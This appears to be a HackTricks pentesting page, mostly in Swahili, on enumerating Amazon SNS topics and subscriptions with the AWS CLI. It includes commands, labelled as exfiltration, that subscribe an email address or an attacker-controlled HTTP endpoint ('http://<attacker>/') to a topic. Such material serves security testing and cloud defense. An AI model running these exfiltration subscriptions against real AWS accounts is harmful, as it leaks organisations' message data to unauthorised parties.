AWS - SNS Enum

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) inaelezewa kama huduma ya ujumbe inayosimamiwa kikamilifu. Inasaidia aina zote mbili za mawasiliano application-to-application (A2A) na application-to-person (A2P).

Vipengele muhimu kwa mawasiliano ya A2A ni pamoja na mifumo ya kuchapisha/kusajili (pub/sub). Mifumo hii inaleta mada, muhimu kwa kuwezesha ujumbe wa juu, wa kusukuma, wa wengi-kwa-wengi. Kipengele hiki ni cha manufaa sana katika hali zinazohusisha mifumo iliyosambazwa, microservices, na miundombinu ya serverless inayotegemea matukio. Kwa kutumia mada hizi, mifumo ya wachapishaji inaweza kusambaza ujumbe kwa aina mbalimbali za mifumo ya wasajili, kuwezesha muundo wa ujumbe wa fanout.

Tofauti na SQS

SQS ni huduma ya kulinganisha foleni inayoruhusu mawasiliano ya pointi-kwa-pointi, kuhakikisha kwamba ujumbe unashughulikiwa na mtumiaji mmoja. Inatoa utoaji wa angalau mara moja, inasaidia foleni za kawaida na FIFO, na inaruhusu uhifadhi wa ujumbe kwa majaribio na usindikaji uliocheleweshwa. Kwa upande mwingine, SNS ni huduma ya kuchapisha/kusajili, inayowezesha mawasiliano ya mmoja-kwa-wengi kwa kutangaza ujumbe kwa wasajili wengi kwa wakati mmoja. Inasaidia aina mbalimbali za mwisho wa usajili kama barua pepe, SMS, Lambda functions, na HTTP/HTTPS, na inatoa mifumo ya kuchuja kwa utoaji wa ujumbe ulioelekezwa. Wakati huduma zote mbili zinasaidia kutenganisha kati ya vipengele katika mifumo iliyosambazwa, SQS inazingatia mawasiliano ya foleni, na SNS inasisitiza mifumo ya mawasiliano ya fan-out inayotegemea matukio.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Kumbuka kwamba ikiwa mada ni ya aina ya FIFO, ni wanachama wanaotumia itifaki ya SQS pekee wanaoweza kutumika (HTTP au HTTPS haziwezi kutumika).

Pia, hata kama --topic-arn ina eneo hakikisha unataja eneo sahihi katika --region au utapata hitilafu inayoweza kuonyesha kwamba huna ufikiaji lakini tatizo ni eneo.

Ufikiaji Bila Uthibitisho

AWS - SNS Unauthenticated Enum

Kuinua Haki

AWS - SNS Privesc

Unyonyaji Baada ya Shambulio

AWS - SNS Post Exploitation

Uendelevu

AWS - SNS Persistence

Marejeleo

Support HackTricks

Last updated